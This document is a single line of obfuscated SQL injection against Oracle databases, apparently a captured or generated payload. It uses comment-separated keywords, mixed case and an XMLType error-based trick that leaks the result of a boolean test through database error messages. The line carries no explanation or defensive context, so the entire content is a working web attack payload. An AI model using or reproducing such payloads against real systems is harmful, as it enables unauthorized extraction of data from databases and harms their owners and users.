1′ AND and/**/3526=(SelEcT/**/UPPEr(xmlTYpe(CHR(60)||chr(58)||~||(sElEct/**/(caSE/**/WhEn/**/(3526=3526)/**/THEn/**/1/**/elSE/**/0/**/end)/**/FROm/**/duAL)||~||CHR(62)))/**/FRom/**/DUAL)– – 1